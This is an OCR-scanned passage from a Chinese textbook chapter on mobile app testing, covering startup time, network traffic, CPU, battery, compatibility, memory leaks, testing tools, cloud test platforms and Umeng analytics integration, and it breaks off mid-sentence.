任务 为 准 , 有 些 理 想 该 放 一 边 就 放 一 边 吧 。 

扫 右 侧 二 维 码 可 以 观看 视频 ,学 习 快 速 搭建 移动 APP 的 测 
试 环 境 。 
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7.1 移动 APP 启动 时 间 测 试 


启动 时 间 对 于 一 款 APP 来 说 是 一 个 比较 重要 的 指标 , 谁 都 不 愿意 等 待 
一 款 启 动 特别 慢 的 APP。 在 我 看 来 ,启动 时 间 是 一 个 广泛 的 统称 ,因为 涉及 
Android 的 一 些 机 制 ,为 了 让 大 家 更 容易 理解 ,我 尽 可 能 不 用 专业 的 术语 ,而 
是 以 比较 通俗 的 话语 来 解释 。 

用 adb 的 logcat 来 获取 Activity 启动 时 间 , 显 然 不 能 代表 真实 的 用 户 体验 
角度 的 启动 时 间 。 因 为 Activity 启动 时 间 中 可 能 不 包括 启动 中 异步 UI 绘制 的 
时 间 , 所 以 ,这 里 我 们 以 如 何 获取 用 户 体 验 角度 的 启动 时 间 为 例 进行 讲解 。 

一 般 启动 时 间 的 测试 需要 考虑 以 下 两 种 场景 。 

(1) 冷 启动 。 手 机 系统 中 没有 该 APP 的 进程 ,也 就 是 首次 启动 。 

(2) 热 启 动 。 手 机 系统 中 有 该 APP 的 进程 , 即 APP 从 后 台 切 换 到 
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口 o。 
常见 的 APP 启动 时 间 测 试 方法 包括 但 不 限于 如 下 几 种 。 
(1) 通过 adb 命令 ,如 adb logcat、adb shell am start、adb shell screen- 
record 等 。 
(2) 代码 里 打点 ( 埋 点 )。 
(3) 高 速 相 机 。 
(4) 秒表 。 看 到 这 个 ,可 能 会 有 朋友 偷 笑 , 但 确实 有 时 候 只 能 这 样 做 。 
就 连 某 些 巨头 互联 网 公司 的 一 些 测 试 团队 也 通过 这 种 方式 启动 测试 。 个 中 
原因 已 经 在 本 章 开 始 处 解释 过 了 。 
(5) 第 三 方 工具 或 云 测 平 台 。 该 项 在 后 续 章 节 中 会 有 介绍 。 
此 处 我 们 使 用 Android4. 4(API level 19) 以 上 版 本 的 系统 中 提供 的 adb 
shell screenrecord 的 命令 ,通过 录制 并 分 析 视 频 来 得 到 启动 时 间 。 
命令 格式 : adb shell screenrecord [options] < filename > 
命令 示例 : adb shell screenrecord /sdcard/demo. mp4, 通过 使 用 
screenrecord 进行 屏幕 录制 ,存放 到 手机 SD 卡 中 ,视频 格式 为 mp4, 默 认 录 
制 时 间 为 180s, 之 后 我 们 对 保存 好 的 视频 进行 分 析 。 
更 多 命令 格式 的 用 法 参见 http://adbshell. com/commands/adb-shell- 
Screenrecord。 


大 致 实现 步骤 如 下 。 
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(1) 把 待 测 手 机 连 上 计算 机 ,执行 录制 命令 。 

(2) APP 完全 启动 后 , 按 Ctrl 十 C 键 结束 视频 录制 。 

(3) 使 用 adb pull /sdcard/demo. mp4 d:\record 命令 导出 视频 到 D 盘 
的 record 文件 夹 下 。 

(4) 使 用 可 以 按 帧 播放 的 视频 软件 打开 该 视频 并 进行 播放 分 析 ( 如 
KMPlayer) 。 

(5) 可 以 将 在 视频 中 看 到 ICON 变 亮 时 的 时 间作 为 开始 时 间 ,将 APP 
完全 启动 后 的 时 间作 为 终止 时 间 , 后 者 减 去 前 者 就 是 用 户 体验 角度 的 APP 
启动 时 间 。 

但 是 这 个 测试 方法 也 有 一 些 限 制 ,大致 有 如 下 几 个 。 

。 某 些 设备 中 可 能 无 法 录制 。 

。 在 录制 过 程 中 不 支持 转 屏 。 

。 声音 不 会 被 录制 下 来 。 

。 如 果 手 机 中 有 其 他 APP 在 运行 ,会 对 启动 时 间 产 生 一 定 的 干扰 。 

上 面 介绍 的 这 种 方式 与 其 他 方式 相 比 ,更 加 贴近 于 用 户 体验 的 角度 。 
每 种 方式 计算 出 来 的 数值 都 不 一 样 , 毕 竞 角度 和 统计 方法 不 一 样 。 根 据 实 
际 情 况 选择 合适 的 方法 进行 测试 即 可 。 回 : 回 

扫 右 侧 二 维 码 可 以 观看 视频 ,学 习 测 试 APP 启动 时 间 的 几 缠 
种 方法 。 i 


7.2 移动 APP 流量 测试 


流量 是 指 能 够 连接 网 络 的 设备 在 网 络 上 所 产生 的 数据 流量 。 流 量 在 每 
个 层级 都 会 发 生 , 在 每 个 层级 看 到 的 数据 也 会 不 一 样 ,这 里 涉及 TCP/IP 四 
层 模 型 ,不 知道 的 朋友 请 自行 查询 。 我 们 这 里 主要 关注 用 户 层面 的 流量 。 

一 般 对 于 APP 流量 的 测试 需要 考虑 以 下 两 种 场景 。 

(1) 活动 状态 。 也 就 是 用 户 对 APP 操作 而 直接 导致 的 流量 消耗 。 

(2) 静默 状态 。 也 就 是 用 户 没 操作 APP,APP 处 于 后 台 状 态 时 流量 的 
消耗 。 

对 于 Android 系统 下 流量 的 测试 方法 包括 但 不 限于 如 下 几 种 。 

(1) 通过 Tcpdump 抓 包 ,然后 利用 Wireshark 分 析 。 抓 包 分 析 过 程 较 
为 复杂 ,大 部 分 小 白 朋 友 可 能 会 比较 晕 ( 其 实 我 发 现 很 多 人 都 不 会 抓 包 ) 。 
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如 果 想 更 加 自动 化 一 点 ,可 以 尝试 对 FiddlerCore 进行 二 次 开发 。 

(2) 查看 Linux 流量 统计 文件 。 

(3) 利用 类 似 DDMS 的 工具 查看 流量 。 这 种 方式 非常 方便 ,容易 上 手 ， 
数据 直观 ,是 小 白 朋 友 的 首选 。 

(4) 利用 Android API 来 统计 。 通 过 Android API 的 TrafficStats 类 来 
统计 ,该 类 提供 了 很 多 不 同方 法 来 获取 不 同 角 度 的 流量 数据 。 

(5) 第 三 方 工具 或 者 云 测 平台 。 

此 处 我 们 以 大 部 分 公司 的 测试 工程 师 可 以 使 用 的 方法 ,也 就 是 查看 
Linux 流量 统计 文件 为 例 进行 讲解 。 

假如 我 们 现在 想 查 看 xiaoqiang. apk 这 个 应 用 的 流量 ,大致 步 又 如 下 。 

(1) 通过 ps | grep com. android. xiaoqiang 命令 获取 pid。 

(2) 通过 cat /proc/ {pid)/status 命令 获取 uid, 其 中 {pid} 替 换 为 第 一 步 
获取 的 pid 值 。 

(3) 通过 cat /proc/uid_stat/ {uid} /tcp_snd 命令 获取 发 送 的 流量 (单位 
byte) ,其 中 {uid} 替 换 为 第 二 步 获取 的 uid 值 。 

(4) 通过 cat /proc/uid_stat/{uid)/tcp_rcv 命令 获取 接收 的 流量 (单位 
byte) ,其 中 {uid} 蔡 换 为 第 三 步 获取 的 uid 值 。 

通过 上 面 的 步骤 可 以 大 致知 道 xiaoqiang. apk 应 用 消耗 的 流量 了 。 这 
里 需要 注意 的 是 该 方法 有 一 个 弊 端 : 统计 出 来 的 是 一 个 总 数据 ,无 法 提供 更 
多 纬度 的 统计 。 


7.3 移动 APP CPU 测试 


对 于 测试 一 款 APP 在 各 种 场景 下 CPU 的 占用 率 情况 也 是 比较 重要 的 
指标 ,如 果 运 行 时 CPU 占用 率 较 高 会 影响 使 用 流畅 度 。 

一 般 APP 的 CPU 测试 需要 考虑 两 种 场景 ,大 致 和 流量 测试 中 的 一 样 。 

(1) 活动 状态 。 也 就 是 APP 是 处 在 操作 活动 中 的 。 

(2) 静默 状态 。 也 就 是 APP 什么 都 没 操作 ,默默 在 后 台 等 待 。 

对 于 APP 在 手机 上 的 CPU 占用 率 测试 方法 包括 但 不 限于 如 下 几 种 。 

(1) 第 三 方 工具 。 如 腾讯 GT、 网 易 Emmagee、 阿 里 易 测 、 手 机 自 带 监控 
等 。 这 类 工具 使 用 起 来 简单 、 容 易 上 手 , 并 且 可 以 产生 易 读 性 较 高 的 报告 ， 
是 小 白 朋友 和 小 型 测试 团队 的 首选 。 
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(2) dumpsys 命令 。 如 adb shell dumpsys cpuinfo | grep {PackageName) 。 


(3) top 命令 。 如 adb shell top | grep {PackageName) 。 

其 中 第 二 种 和 第 三 种 命令 的 方式 ,得 出 的 数据 可 能 会 不 一 样 ,这 是 正常 
的 ,因为 两 者 在 底层 的 计算 方法 不 一 样 。 在 使 用 这 两 种 方式 的 时 候 , 也 可 以 把 
数据 保存 到 Excel 中 ,然后 利用 图 表 功 能 绘制 出 一 张 CPU 的 变化 曲线 图 。 

此 处 我 们 以 top 命令 的 方式 来 看 下 如 何 查看 手机 浏览 器 所 消耗 的 CPU 
占用 率 ,这 里 要 用 到 的 命令 为 : adb shell top | grep com. android. browser， 
结果 如 图 7.1 所 示 。 还 可 以 通过 重 定向 把 数据 保存 到 指定 文件 中 。 


top | grep com.android.hbrowser 

32x R 50 1955949K 1289B4K a com-.android.browser 
27x S S51 1979929K 145984K com.android.browser 
29x S 52 1978444K 154984K 
11x R 52 1975772K 155196K 


21X S 52 1975598K 155332K 


18x S 52 197766BK 159692K 3 
4x8 52 19277696K 159692K a com-android.hbrowser 
Bx S S@ 19275616K 159264K com-android-hbrowser 


图 7.1 adb shell top 命令 


图 7. 1 中 各 字段 含义 大 致 如 下 。 
第 一 列 PID: 进度 ID。 

。 第 二 列 PR: 优先 级 。 

。 第 三 列 CPU: 瞬时 CPU 占用 率 。 

。 第 四 列 进 程 状态 : R= 运行 ,S= 睡 眠 ,T= 跟踪 /停止 ,Z= 伪 尸 进 程 。 

。 第 五 列 THR: 程序 当前 所 用 的 线程 数 。 

。 第 六 列 VSS: 虚拟 耗 用 内 存 。 

。 第 七 列 RSS: 实际 使 用 物理 内 存 。 

。 第 八 列 UID: 进程 所 有 者 的 用 户 ID。 

。 第 九 列 Name: 进程 名 称 。 

当然 ,这 个 是 最 基本 的 使 用 ,此 外 ,还 可 以 进行 扩展 ,例如 ,通过 编写 代 
码 的 方式 对 这 些 数据 进行 处 理 , 生 成 一 份 可 读 的 测试 报告 。 


i 


DR 


7.4 移动 APP 电量 测试 


电量 测试 其 实 就 是 评估 消耗 电量 快慢 的 一 种 方式 。 电量 测 试 方法 很 
少 , 但 需要 测试 的 场景 却 比较 多 ,因为 在 不 同 使 用 场景 下 消耗 的 电量 肯定 不 
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一 样 。 大 家 可 能 会 问 消耗 多 少 才 算 正常 呢 ? 真 的 没有 标准 答案 ! 有 时 候 我 
们 测试 不 是 为 了 发 现 bug ,而 是 为 了 更 好 地 推动 系统 的 质量 ,每 一 次 的 优化 
都 能 让 系统 进步 才 有 意义 。 

电量 测试 中 需要 考虑 的 测试 场景 包括 但 不 限于 以 下 几 种 。 

(1) 待机 。 包 括 无 网 络 待 机 、Wi-Fi 待机 、3G 待机 等 。 

(2) 活动 状态 。 也 就 是 不 断 地 进行 某 些 场景 的 操作 ,除了 常规 操作 外 ， 
还 应 该 包括 看 视频 . 灭 屏 下 载 .唤醒 等 。 

(3) 静默 状态 。 也 就 是 在 打开 APP 之 后 并 不 操作 ,让 后 台 运 行 。 

相对 于 其 他 项 目的 测试 ,电量 测试 的 方法 比较 少 ,一 般 常 见 的 电量 测试 
方法 包括 但 不 限于 以 下 几 种 。 

(1) 通过 硬件 进行 测试 。 比 如 , 耗 电量 测试 仪 腾讯 自己 制作 的 电量 宝 等 。 

(2) 通过 adb shell dumpsys batterystats 命令 。 该 命令 只 能 在 Android 5.0 
以 上 的 系统 中 使 用 。Android 6. 0 中 对 该 命令 进行 了 一 些 优化 ,可 以 得 出 更 
加 详细 的 数据 。 

(3) 第 三 方 工具 或 者 云 测 平 台 。 当 然 ,Android 系统 内 部 也 有 一 个 自 带 的 
软件 耗 电 统计 ,如 图 7. 2 所 示 , 可 以 分 别 从 软件 和 硬件 角度 看 到 耗 电 百分比 。 


加 上 移动 拉 


软件 耗 电 
软件 耗 电 :229% 

~ 2 Android OS 8% 
加 Android 系 统 5% 
2 
a QQ 2% 
四 蒋 枝 FM 2% 
ea = 


一 — 


图 7.2 各 个 应 用 的 耗 电 统计 
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因为 电量 测试 的 方法 还 在 不 断 发 展 中 ,包括 Android 提供 的 API 也 在 
不 断 完 善 中 ,所 以 个 人 建议 可 以 暂时 利用 第 三 方 工具 或 云 测 平台 进行 电量 
测试 ,图 7. 3 就 是 阿里 云 测 提供 的 数据 。 


电量 详情 - 电量 消耗 


6.000mAh 一 
5.000mAh - 画 Toul | 
4.000mAh -| 画 cpu | 
3.000mAh | 画 Wakelock 
2.000mAh + mm Traffic 
oo 天 keeov | | 
0.000mAh -1 Snor | 
1.000mAh 一 | 
200200 20:04:00 20:06:00 20:08:00 20:10:00 20:12:00 20:14:00 2016.00 


图 7.3 阿里 云 测 电量 数据 


7.5 移动 APP 兼容 性 测试 


兼容 性 测试 是 不 少 测试 工程 师 的 璐 梦 。 在 Web 端的 时 候 为 了 应 对 各 种 
浏览 器 我 们 曾 苦 不 堪 言 ,而 现在 面 对 移 动 端 更 是 苦 上 加 苦 , 不 仅仅 要 测试 不 
同 的 系统 版 本 ,还 有 不 同 的 分 辩 率 ,不 同 的 ROM, 简 直 是 “ 累 死 宝宝 ”的 
节奏 。 

一 般 移动 APP 兼容 性 测试 有 两 大 方案 。 

1) 纯 手工 测试 

在 进行 纯 手工 测试 的 时 候 , 我 经 常 在 QQ 群 里 看 到 有 很 多 朋友 问 要 怎 
么 测试 兼容 性 、 选 哪个 系统 版 本 等 问题 。 其 实 这 些 问题 在 我 看 来 是 一 个 有 
多 年 测试 经 验 的 工程 师 不 应 该 问 的 。 一 般 我 们 都 是 采用 “TOP N” 的 原则 ， 
即 选择 最 流行 .使 用 最 多 的 前 几 名 来 进行 重点 测试 。 

那么 问题 来 了 ,怎么 知道 哪些 Android 设备 最 流行 .使 用 最 多 呢 ? 一般 
通过 一 些 第 三 方 的 APP 应 用 统计 平台 都 可 以 获得 ,如 友 盟 。 如 图 7.4 所 示 ， 
可 以 获得 Android 设备 的 活跃 排名 信息 。 如 图 7. 5 所 示 , 可 以 获得 Android 
设备 分 辨 率 的 活跃 排名 。 有 时 候 灵 活 、 合 理 地 利用 第 三 方 数据 往往 能 事 半 
功 倍 。 

2) 依赖 一 些 自动 化 技术 来 测试 

这 里 主要 是 两 点 : 第 一 点 ,自己 编写 代码 完成 各 个 平台 的 遍历 测试 并 生 
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和 名 0 © 加 全 9 
Android ios 设备 系统 分 状 率 联网 位 置 
Android 设备 活跃 排名 
根据 【 友 盟 +】 数 据 抽样 统计 ， 计 算 Androld 设备 机 型 当月 活跃 用 户 并 进行 排名 。 
红 冰 手机 1s ez | 设备 详情 : 红 米 手机 1s 2016-05 
! 4 19% 曾 税 
于 42 
上 JF 19% 国 43 
本 51 
! 三星 calao Notell 15% Android 版 本 加 41 
加 50 
i knole 15% 加 40 
加 23 
ms 


图 7.4 Android 设备 活跃 排名 


Android 设备 分 辨 率 
按 Androld 设备 分 辩 率 当月 活路 用 户 统计 


1280720 国定 是 BEE 207% 
1920"1080 WW 201% 
854"480” 11.2% 
960"540 MN 7.9% 

800"480 ON 7.6% 


1776*1080 23% 
1280*800 2.0% 
2560*1440 13% 


图 7.5 Android 设备 分 辩 率 活跃 排名 


成 图 片 进 行 对 比 ,复杂 度 较 高 .工作 量 较 大 、 成 本 较 高 ; 第 二 点 ,利用 类 似 云 
测 的 平台 来 完成 ,复杂 度 低 ,工作 量 小 ,成 本 低 。 

此 处 以 Testin 云 测 平台 为 例 , 进 行 兼容 性 测试 的 步骤 大 致 如 下 。 

(1) 下 载 Testin 提供 的 测试 框架 ,然后 按照 要 求 完成 少量 的 代码 即 可 ， 
这 里 的 代码 主要 是 自己 编写 要 测试 的 功能 业务 。 当 然 , 如 果 不 想 编写 也 可 
以 ,直接 上 传 APK, 它 会 自动 遍历 ,由 浅 到 深 坑 历 点 击 , 直 至 最 后 一 层 。 

(2) 上 传 已 编写 好 的 脚本 以 及 被 测 APK。 

(3) 选择 要 进行 测试 的 系统 版 本 .设备 分辩 率 等 信息 。 
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1 测试 类 型 和 本 完成 终 连 数 6500 歌 要 羡 壬 跃 用 户 至 26332 万 测试 状态 测试 完成 


兼容 概况 


国 启动 失败 13.33 % 
于 功能 异 0% 

国 U 噶 党 33.33% 
厅 安装 失败 0 % 

用 运行 失败 53.33 % 
国 符 优 化 0% 


祖 半 通过 审 在 同行 业 的 才 名 计算 不 革 窜 机 型 的 分 有 问 量 
图 7.6 兼容 性 测试 报告 


此 处 展示 的 只 是 报告 中 的 一 部 分 ,还 有 更 详细 的 内 容 , 感 兴趣 的 朋友 可 
以 自行 去 官网 体验 。 个 人 觉得 ,此 种 方式 相对 来 说 性 价 比较 高 ,中 小 型 的 测 
试 团队 可 以 尝试 使 用 。 


7.6 移动 APP 测试 工具 和 云 测 平台 


有 时 候 我 们 看 不 起 工具 ,但 又 不 得 不 臣服 于 工具 。 大 部 分 公司 既 没有 
时 间 也 没有 精力 去 开发 一 款 测试 工具 ,这 时 候 如 果 有 好 用 的 工具 来 帮助 我 
们 ,就 如 同 “ 雪 中 送 炭 ”。 随 着 开源 热潮 的 出 现 , 越 来 越 多 的 公司 对 外 发 布 了 
很 多 内 部 的 测试 工具 ,使 得 很 多 工程 师 可 以 轻松 地 利用 它们 来 完成 测试 。 
本 节 我 们 就 来 介绍 几 款 比较 好 用 的 移动 APP 测试 工具 和 云 测 平台 ,大 家 可 
以 尝试 在 日 常 工作 中 体验 一 下 。 


7.6.1 常用 的 移动 APP 测试 工具 介绍 


1. 腾讯 GT(http://gt. qq. com) 


它 是 APP 的 随身 调 测 平台 ,是 直接 运行 在 手机 上 的 “集成 调 测 环境 ”。 
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利用 GT, 仅 赁 一 部 手机 ,无 须 连接 计算 机 , 即 可 对 APP 进行 快速 性 能 测试 
(CCPU .内存 流量 .电量 、 帧 率 / 流 畅 度 等 )、 开 发 日 志 的 查看 .Crash 日 志 查 
看 、 网 络 数据 包 的 抓 取 、APP 内 部 参数 的 调试 、 真 机 代码 耗 时 统计 等 。 除 此 
之 外 ,还 可 以 利用 GT 提供 的 基础 API 自行 开发 有 特殊 功能 的 GT 插件 , 帮 
助 解决 更 加 复杂 的 APP 问题 。 同 时 ,GT 支持 iOS 和 Android 两 种 手机 
平台 。 

如 图 7.7 所 示 就 是 利用 GT 完成 了 一 次 简单 的 流量 测试 。 从 图 中 可 以 
知道 一 个 业务 操作 过 程 中 消耗 的 流量 ,包括 发 出 请 求 的 流量 、 收 到 响应 结果 
的 流量 ,流量 消耗 曲线 走势 。 更 多 使 用 方法 请 查看 官网 。 
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图 7.7 GT 流量 测试 


2. Emmagee(https://github. com/ NetEase/Emmagee) 


它 是 网 易 杭 州 QA 团队 研发 的 一 款 小 巧 的 性 能 测试 工具 ,可 以 轻松 地 
监控 指定 被 测 应 用 在 使 用 过 程 中 占用 机 器 的 CPU、 内 存 、 流 量 资源 的 使 用 
情况 并 记录 下 来 ,如 图 7. 8 所 示 。 该 工具 操作 极其 简单 ,没有 任何 门槛 ,并 
且 可 以 对 产生 的 测试 数据 通过 Excel 来 做 成 统计 图 的 形式 ,如 图 7.9 
所 示 。 
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用 自 吉 : 
应 用 名 称 : 
应 用 PID: mm 
机 器 内 存 大 小 980. 78B 
机 号 : 


D: 
时 间 应 放 出 P hb 占用 机 器 剩余 应 用 占用 CCPU 总 使 用 流量 (KB) 电量 (%) ”电流 (aA) 温度 (C) ”电压 (Y) 
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图 7.8 测试 结果 
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图 7.9 CPU 统计 图 


3. EasyTest 易 测 


它 是 阿里 出 品 的 一 款 基 于 无 线 客 户 端 研 发 场景 的 通用 测试 工具 , 它 通 
过 在 手机 上 提供 各 种 辅助 能 力 和 标准 化 的 专项 测试 服务 来 提升 研发 质量 和 
效率 。 它 可 以 在 手机 端 完成 实时 性 能 数据 的 监控 、 弱 网 环境 的 模拟 、 手 机 抓 
包 、Monkey 测试 等 ,如 图 7.10 所 示 。 

不 仅 如 此 ,测试 完成 之 后 还 可 以 获取 更 加 详细 的 测试 报告 ,如 图 7.11 所 
示 ,非常 方便 ,估计 是 大 部 分 小 白 朋 友 的 最 爱 。 
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图 7.10 实时 监控 
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图 7.11 测试 报告 
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这 几 款 是 我 自己 用 过 的 工具 ,所 以 可 以 与 大 家 分 享 ,其 他 没有 用 过 的 工 
具 也 不 敢 多 做 介绍 了 。 个 人 觉得 对 于 移动 APP 测试 工具 要 “适时 选择 ”。 虽 
然 每 类 测试 的 方法 都 多 种 多 样 ,但 并 不 是 每 种 方法 都 适用 于 你 现在 的 处 境 。 
如 果 你 现在 的 测试 处 境 很 尴 众 ,资源 有 限 \ 人 力 有 限 、 技 术 有 限 , 那 么 选择 现 
成 的 开源 工具 或 者 云 测 平台 就 可 以 ,没有 必要 过 分 纠结 于 测试 的 方法 。 当 
然 ,努力 学习 更 好 的 、 更 先进 的 技术 和 方法 是 必需 的 ,我 只 是 强调 在 实际 应 
用 过 程 中 因为 环境 限制 的 不 同 ,可 能 有 时 候 我 们 别 无 选择 ,只 能 使 用 某 种 方 
法 而 已 。 


7.6.2 常见 云 测 平台 介绍 


虽然 有 很 多 方法 可 以 进行 APP 的 测试 ,但 现实 中 往往 没有 那么 多 时 间 
进行 全 面 测试 ,能 将 功能 测试 全 部 执行 完 就 不 错 了 。 在 人 力 、 精 力 、 资 源 都 
不 够 的 情况 下 , 云 测 平台 可 以 帮助 我 们 完成 其 他 方面 的 测试 工作 。 

一 般 的 云 测 平台 基本 都 可 以 完成 不 同 终端 的 功能 ,兼容 适 配 、 性 能 、 稳 
定 、 安 全 方面 的 测试 ,并 可 以 产生 报告 ,对 于 中 小 型 企业 、 创 业 公 司 的 测试 团 
队 还 是 比较 合适 的 。 

比较 出 名 的 云 测 平台 有 如 下 几 个 。 

。， Testin: http://www. testin. cn 。 

。 百度 MTC: http://mtc. baidu. com。 
阿里 云 测 : http://mqc. aliyun. com。 
腾讯 优 测 : http://utest. qq. com。 
腾讯 Bugly: https://bugly. qq. com, 可 以 很 好 地 提供 全 平台 的 
Crash 解决 方案 。 
因为 云 测 平 台 的 使 用 相对 来 说 较为 简单 ,基本 都 会 有 提示 怎么 操作 ,所 
以 这 里 就 不 多 做 介绍 了 ,大 家 可 以 去 上 面 的 网 址 自行 查看 并 体验 。 


7.7 移动 应 用 基础 数据 统计 方案 介绍 


一 款 APP 发 布 成 功 之 后 并 不 意味 着 结束 ,相反 是 一 个 新 的 开始 。 我 们 
需要 对 上 线 后 的 移动 应 用 进行 必要 的 基础 监控 和 数据 统计 ,原因 在 于 : 
。 通过 分 析 流 量 来 源 、 内 容 使 用 、 用 户 属性 和 行为 数据 ,以 便 后 续 利用 这 
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全 


些 数据 进行 产品 .运营 .推广 策略 的 决策 以 及 在 后 续 迭 代 中 优化 改进 

。 当 出 现 问题 时 可 以 快速 响应 并 解决 ,最 大 限度 地 减 小 影响 。 

一 般 移动 应 用 基础 数据 监控 和 统计 方案 大 致 有 如 下 几 种 。 

(1) 第 三 方 标准 化 的 开源 .商业 产品 ,如 Nagios、Zabbix、Ganglia、 百 度 
统计 、APM 等 。 

(2) 自主 研发 的 监控 收集 平台 。 因 为 数据 保密 性 的 原因 ,大 公司 一 般 都 
会 用 自己 研发 的 平台 。 

这 类 软件 的 监控 统计 原理 也 是 我 们 必须 知道 的 ,一 般 都 是 通过 在 产品 
代码 中 打点 ( 埋 点 ) 实 现 。APP 启动 的 同时 ,相关 的 打点 监控 代码 也 会 被 执 
行 ,然后 记录 相关 的 信息 并 通过 接口 上 报到 监控 平台 。 

最 常见 的 应 用 就 是 百度 统计 ,使 用 过 的 朋友 一 定 知道 ,要 统计 网 站 的 一 
些 基 本 信息 时 ,如 访问 量 、 来 源 、 入 口 页 面 等 ,需要 先 到 百度 统计 后 台 获 得 一 
段 代 码 ,然后 把 该 段 代码 插 和 人 到 页 面 的 某 个 位 置 ,之 后 便 可 得 到 数据 ,这 个 
就 是 最 简单 的 打点 ( 埋 点 ) 应 用 。 

此 处 我 们 以 友 盟 的 U-App 应 用 统计 产品 为 例 来 讲解 如 何在 APP 中 进 
行 打点 统计 ,大 致 的 实现 步 又 如 下 。 

(1) 在 友 盟 官网 注册 账号 。 

(2) 后 台 添 加 新 应 用 ,如 图 7.12 所 示 。 按 照 提示 填 入 必要 的 信息 即 可 。 


名 应 用 管理 | 各 二 二 应 用 基本 信息 ， 获取 AppKey | [2 
应 用 列表 
2 应 用 名 * 
a res 得 eDeDe@。 晶 
息 报 表 中 心 rs 
语言 | 中 文 "| 
加 信息 中 心 应 用 兴 型 ” [请 认 泽 | 
国 集 成 测试 5 选择 统计 服务 里 标准 统计 分 析 (示例 ) 导游 戏 统计 分 析 (示例 ) 
得 交 后 不 可 更 改 
伞 SDK 下 载 
应 用 重 述 
(OWED 
点 二 了 解 APP 企 业 认 汪 


7.12 添加 应 用 
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(3) 获取 AppKey。 

(4) 下 载 SDK 并 导入 你 的 APP 工程 中 。 

(5) 开始 打点 ( 埋 点 )。 主 要 有 以 下 几 个 地 方 需要 修改 。 

。 修改 manifest 的 配置 ,主要 是 完成 权限 .AppKey、 渠 道 id 的 配置 ,在 
application 之 前 加 入 如 下 代码 。 


<uses— sdk android:minSdkVersion = "4"></uses — sdk> 

<uses - permission android:name = "android. permission. ACCESS_ NETWORK STATE"> 
</uses - permission > 

<uses - permission android:name = "android. permission. ACCESS_WIFI_STATE" /> 
<uses - permission android:name = "android. permission. INTERNET"> 

</uses - permission> 

<uses - permission android:name = "android. permission. READ PHONE STATE"> 
</uses - permission > 


在 application 结束 之 前 加 入 如 下 代码 。 


<meta- data android: value = "私人 AppKey 就 不 写 了 " android: name = "UMENG_ 
APPKEY"> 

</meta - data> 

<meta— data android:value = "xiaoqiang" android:name = "UMENG CHANNEL"/> 


。 在 Activity 中 添加 对 应 的 代码 , 即 在 每 个 Activity 的 onResume 方法 
中 调用 MobclickAgent. onResume(Context) 即 可 ,类 似 如 下 的 代码 。 


public void onResume() { 
super. onResume( ); 
MobclickAgent. onResume( this); 


} 


public void onPause() { 
super. onPause( ); 
MobclickAgent. onPause( this); 
} 


(6) 运行 APP 并 进行 操作 。 

(7) 返回 后 台 “ 我 的 产品 ”查看 。 如 图 7. 13 所 示 , 可 以 看 到 统计 APP 的 
基本 信息 ,更 多 信息 大 家 可 在 后 台 查 看 ,此 处 没有 把 全 部 截图 展示 出 来 。 

经 过 上 面 的 步骤 完成 一 个 基本 的 配置 ,你 仍然 可 以 继续 扩展 ,如 进行 
定义 事件 的 统计 、 错 误 的 统计 等 ,更 复杂 的 应 用 可 以 参考 官方 指导 文档 ,地 
址 为 http://dev. umeng. com/analytics/android-doc/integration# 1。 
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图 7.13 统计 数据 


7.8 移动 APP 内 存 测 试 


移动 设备 并 不 像 我 们 的 计算 机 有 那么 大 的 内 存 , 内 存 资源 在 手机 上 是 
比较 宝贵 的 ,所 以 对 于 我 们 测试 工程 师 来 说 针对 内 存 的 测试 也 是 必 不 可 少 
的 ,而 其 中 内 存 汇 漏 (OOM) 就 是 常见 的 一 种 问题 , 接 下 来 就 让 我 们 一 起 揭 开 
内 存 汇 漏 的 面具 。 


7.8.1 内 存 泄漏 是 什么 


教科 书 式 解释 : 内 存 泄 漏 指 的 是 进程 中 某 些 对 象 已 经 没有 使 用 价值 了 ， 
但 是 它们 却 可 以 直接 或 间接 地 被 引用 从 而 导致 无 法 被 GC 回收 。 久 而 久之 ， 
当 积累 超过 Dalvik 堆 大 小 时 就 会 发 生 内 存 泄 漏 。 内 存 泄 漏 是 需要 一 个 过 程 
的 ,有 时 候 它 会 直接 在 日 志 里 报错 ,明确 告诉 我 们 发 生 了 内 存 泄漏 ,但 有 时 
候 可 能 只 是 存在 这 个 趋势 可 能 性 ,需要 我 们 观察 内 存 释放 情况 来 自行 分 析 。 
图 7. 14 就 是 一 个 典型 的 内 存 泄 漏 曲线 图 ,可 以 看 到 每 次 垃圾 回收 (CGC) 后 都 
不 能 完全 回收 对 象 。 


7.14 内 存 泄漏 
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生活 式 解 释 : 有 时 候 我 们 对 于 传统 的 解释 没 法 很 好 地 理解 ,所 以 我 更 加 
倾向 于 用 生活 的 例子 来 解释 很 多 概念 、 现 象 。 以 内 存 泄漏 为 例 , 大 家 可 以 想 
象 这 样 一 种 场景 : 你 有 一 个 保险 柜 ( 它 的 容量 是 有 限 的 ,相当 于 有 限 的 内 
存 ) ,每 次 你 都 会 把 得 来 的 金条 放 到 里 面 (这 就 好 比 占用 了 内 存 ), 如 果 你 一 
直 把 得 来 的 金条 往 里面 放 ,而 不 花 掉 或 者 送 给 我 (相当 于 垃圾 回收 ) ,自然 保 
险 柜 里 就 放 不 下 了 ( 那 就 出 现 内 存 泄漏 了 )。 所 以 ,只 有 当 你 隔 一 段 时 间 处 
理 掉 一 些 金条 释放 出 一 些 空间 才 不 会 发 生 内 存 泄漏 。 

总 结 一 句 话 : 如 果 内 存 占用 只 增 不 减 , 那 很 有 可 能 会 发 生 内 存 泄漏 。 


7.8.2 内 存 泄漏 常见 的 分 析 方 法 


一 般 想 要 进行 内 存 方面 的 分 析 可 以 通过 下 面 的 几 种 方法 。 

。 在 adb shell 下 运行 命令 dumpsys meminfo [应 用 包 名 ], 可 以 观察 到 
内 存 的 使 用 情况 。 通 常 我 们 关注 PSS Total 和 Heap Size Total。 其 
中 Dalvik Heap 就 是 Java 堆 , 它 不 能 超过 最 大 限制 ,查看 最 大 限制 可 
以 用 命令 getprop | grep heapgrowthlimit。 

DDMS 和 MAT。DDMS 可 动态 查看 某 进 程 占用 内 存 的 情况 ,而 
MAT 可 以 对 dump 出 来 的 hprof 进行 分 析 。 

Android Studio 和 MAT。 此 种 方法 适合 有 源码 的 情况 ,无 源码 可 选 
择 上 一 种 方法 。Android Studio 是 Android 的 开发 工具 ,功能 强大 ， 
并 集成 了 内 存 监 控 和 分 析 。 

日 志和 必要 的 监控 。 这 些 是 任何 系统 都 需要 的 ,它们 可 以 帮助 我 们 
快速 ` 及 时 地 发 现 和 定位 问题 ,最 大 限度 地 减少 损失 和 影响 。 

知道 分 析 方法 之 后 我 们 就 来 看 看 分 析 的 步 又。 我 们 常常 觉得 某 些 东西 
